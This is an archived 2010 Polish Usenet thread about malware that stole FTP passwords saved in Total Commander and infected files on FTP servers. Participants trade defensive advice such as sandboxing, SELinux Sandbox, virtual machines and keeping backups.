Adam Przybyla <adam@rybnik.pl> napisał(a):
> Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
>> Adam Przybyla <adam@rybnik.pl> napisa?(a):
>>> Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
>>>> Maciek "Babcia" Dobosz <babcia@jewish.org.pl> napisa?(a):
>>>>> On Thu, 17 Jun 2010 12:33:43 +0200, "pitpull" <pitpull@pitpull.com>
>>>>> wrote:
>>>>>
>>>>>>
>>>>>>U?ytkownik "Marek Marczykowski" <marmarek@spam.nie> napisa? w wiadomo?ci 
>>>>>>news:hvcs98$kjm$1@io.staszic.waw.pl...
>>>>>>> On 2010-06-16, latet <latet@latet.pl> wrote:
>>>>>>>> Witam,
>>>>>>>>
>>>>>>
>>>>>>
>>>>>>>> Je?li to si? zacz??o przez JS, to jestem przera?ony...
>>>>>>>> Je?li inaczej - to jestem za?amany, ?e nie wiem jak.
>>>>>>>> Przypomn? - Kaspersky dzia?a?, a nawet ostrzega? i niby mówi?, ?e co? tam
>>>>>>>> blokuje, ale jednak z zerowym efektem!
>>>>>>>
>>>>>>> Wida? pora zmieni? AV ;)
>>>>>>>
>>>>>>
>>>>>>A co wa?niejsze je?eli ju? odpala? podejrzane strony to w "piaskownicy". 
>>>>>
>>>>> I nie trzyma? hase? w TC. Wygodne ale niebezpieczne. Mia?em tak?
>>>>> robote par? miesi?cy temu gdy jeden z "?ebmasterów" na serwisie na
>>>>> jednym w moich serwerów zrobi? jeszcze co? g?upszego. Tzn.
>>>>> odinstalowa? program antywirusowy bo - jak potem twierdzi? - "ci?gle
>>>>> mi jakie? alarmy wyskakiwa?y i mnie denerwowa?y". Poza tym dziwi? si?
>>>>> ze kto? jest webmasterem jakich? stron i nie ma backupu tylko r?cznie
>>>>> usuwa zmiany przez par? godzin.
>>>> 
>>>> Oj, zdziwi?by? si? ilu takich "webmasterów" jest.
>>>> 
>>>>> Ja sugerowa?bym inne rozwi?zanie - zrezygnowanie z Windows tam gdzie
>>>>> to nie jest niezb?dnie konieczne. Moi wspó?pracownicy pracuj? na
>>>>> Ubuntu a gdy faktycznie potrzeba odpali? co? co wymaga windows maj?
>>>>> Windows dost?pna pod VirtualBoxem.
>>>> 
>>>> To jest takie sobie wyj?cie. Tylko kewstje czasu, a pojasi? si? tego typu
>>>> robale na linuxa, tyle, ?e zamiast has?a z TC bed? np. wyci?ga? klucze
>>>> z $HOME/.ssh. A przecie? rozwi?zanie jest proste jek drut, mie? "piaskownic?"
>>>> do zabawy i czysty system do pracy. 
>>>> Na debilno?? usera nie pomo?e ?aden system, ?eden antywirus, ?aden firewall.
>>>> Przykre tylko, ?e dotyczy to nie "zwyk?ego usera" a teoretycznie fachowców.
>>>
>>>       ... niekoniecznie, poczytaj o sandbox'ie;-) Z powazaniem
>>>                                                               Adam Przybyla
>> 
>> No przecie? pisa?em o "piaskownicy".
>> A czy to b?dzie dos?ownie piaskownica, czyli sandbox, czy jaka? virtualna
>> maszyna to ju? w zasadzie bez znaczenia. W zadbanym linuxie/BSD to w zasadzie
>> wystarczy 2 konta sobie zrobi?, wle?? na root-a to jednak nie to samo co
>> podebra? pliki z $HOME.
> 	... chodilo mi o cos troche innego, poczytaj: "Introducing the SELinux Sandbox"
> http://danwalsh.livejournal.com/28545.html
> Z powazaniem

No widzisz, szkoda, że się tak szybko zwinąłeś z tego Open Source Day.
Ale realizacja techniczna to sprawa wtórna. Jak rozważamy webmastera
"zdolnego inaczej", to _każda_ metoda podniesie bezpieczeństwo wielokrotnie.
Problem polaga na tym, że dla "zdolnych inaczej" webmasterów to musi
być rozwiązane tyku "klikam po okejkach" bo inaczej nie ma szans się
przyjąć.

-- 
WARNING: my e-mail is encrypted by ROT13
Xbaenq Fgrcvra <xbaenq@vagreqngn.arg.cy>
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64426
Author: Adam Przybyla
Date: Tue, 22 Jun 2010 04:59
17 lines
2451 bytes
Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
> Adam Przybyla <adam@rybnik.pl> napisał(a):
>> Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
>>> Adam Przybyla <adam@rybnik.pl> napisa?(a):
>>       ... chodilo mi o cos troche innego, poczytaj: "Introducing the SELinux Sandbox"
>> http://danwalsh.livejournal.com/28545.html
>> Z powazaniem
> 
> No widzisz, szkoda, że się tak szybko zwinąłeś z tego Open Source Day.
> Ale realizacja techniczna to sprawa wtórna. Jak rozważamy webmastera
> "zdolnego inaczej", to _każda_ metoda podniesie bezpieczeństwo wielokrotnie.
> Problem polaga na tym, że dla "zdolnych inaczej" webmasterów to musi
> być rozwiązane tyku "klikam po okejkach" bo inaczej nie ma szans się
> przyjąć.
	... spoko loko;-) Przy nastepnej okazji to sie wiecej pogada;-)
Z powazaniem
								Adam Przybyla
Thread Navigation

This is a paginated view of messages in the thread with full content displayed inline.

Messages are displayed in chronological order, with the original post highlighted in green.

Use pagination controls to navigate through all messages in large threads.

Back to All Threads